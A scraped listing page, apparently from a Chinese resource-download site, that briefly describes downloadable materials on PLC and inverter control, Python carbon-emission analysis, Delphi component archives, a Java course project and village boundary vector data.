    内容概要:本文详细介绍了通过三菱FX3U-485ADP-MB通讯模块实现对施耐德ATV312、三菱E700和台达VFD-M三种变频器的控制方法。主要内容涵盖硬件需求、通讯实现功能、变频器和PLC的工作原理、Modbus通信协议介绍、PLC和触摸屏程序示例及其分析、参数设置、接线教程等方面。文中提供了具体的编程实例,如PLC程序用于控制变频器的正反转和频率设定,触摸屏程序用于界面交互设计。此外,还分享了一些调试经验和常见问题解决方法。 适合人群:从事工业自动化控制领域的工程师和技术人员,尤其是对PLC编程和变频器控制有一定基础的人群。 使用场景及目标:适用于需要集成多个品牌变频器并希望通过PLC进行集中控制的工业应用场景。主要目标是帮助读者理解和掌握如何利用三菱FX3U-485ADP-MB通讯模块实现高效稳定的变频器控制,从而提升系统的灵活性和可靠性。 其他说明:文章不仅提供了理论知识,还包括大量实用的操作指导和实践经验,有助于读者快速上手并在实际项目中应用。

    西门子S7-300汽车生产线自动化控制系统的程序解析与应用

    内容概要:本文深入探讨了基于西门子S7-300 PLC的汽车生产线自动化控制系统。硬件方面,介绍了300 CPU、TP700触摸屏、远程ET200站点以及Profibus DP网络系统等组件的作用。功能实现涵盖了模拟量采集、PWM控制、拧紧系统、扫码枪、上位机、双层输送线、激光打标机和基恩士视觉系统等多个方面。编程特色在于采用了模块化编程方法,集成了多种功能块,并混合使用了梯形图、STL和SCL编程语言。资料内容包括PLC程序、触摸屏程序、电气原理图、布局图和IO表等。 适合人群:从事工业自动化领域的工程师和技术人员,尤其是那些希望深入了解西门子S7-300 PLC及其在汽车生产线中的应用的人群。 使用场景及目标:适用于需要理解和优化汽车生产线自动化控制系统的场合。主要目标是提高生产线的效率、精度和可靠性,同时为后续的维护和升级提供详细的参考资料。 其他说明:文中不仅提供了具体的编程实例,还分享了许多实际操作中的经验和技巧,有助于读者更好地掌握相关技术和应对可能出现的问题。

    (源码)基于Python的双碳目标及路径规划研究.zip

    # 基于Python的双碳目标及路径规划研究 ## 项目简介 本项目是一个关于双碳目标(即碳达峰和碳中和)及其实现路径的研究项目。它使用Python语言,通过数据分析、可视化、机器学习等方法,对碳排放量、能源消耗量、人口、GDP等数据进行深入分析,旨在找出影响碳排放的关键因素,并探索实现双碳目标的最佳路径。 ## 项目的主要特性和功能 1. 数据分析项目使用Python的pandas库,对从Excel文件中读取的数据进行处理和分析,提取出对碳排放量有重要影响的关键因素。 2. 数据可视化通过matplotlib库,绘制出碳排放量、能源消耗量、人口、GDP等数据的折线图、柱状图、扇形图等,以便直观地展示和分析数据趋势。 3. 机器学习利用XGBoost和GBDT等机器学习模型,对碳排放量进行预测,并评估各指标对碳排放量的贡献。 4. 季节性STL分析使用statsmodels库对碳排放总量进行季节性分析,以便了解碳排放量的季节性变化规律。

    一个AIDEMO的源码

    一个AIDEMO的源码

    Delphi 12.3控件之rave-bex-2024-0-4.rar

    Delphi 12.3控件之rave_bex_2024_0_4.rar

    Delphi 12.3控件之MiTeC-System-Information-Component-Suite-15.1.0-Full-Source.rar

    Delphi 12.3控件之MiTeC_System_Information_Component_Suite_15.1.0_Full_Source.rar

    JAVA文件传输(论文+源代码).zip

    Java项目课程设计,包含源码+数据库+论文

    云南村界(村级行政界线)矢量数据

    村级行政界线数据 数据格式:矢量格式(.shp) 时间范围:每个省份年份不同,基本为2020年到2022年 数据坐标:CGCS2000/WGS1984 备注:由于村级行政界线小部分每年会有调整,所以该数据有部分地区不是最新界线。

Global site tag (gtag.js) - Google Analytics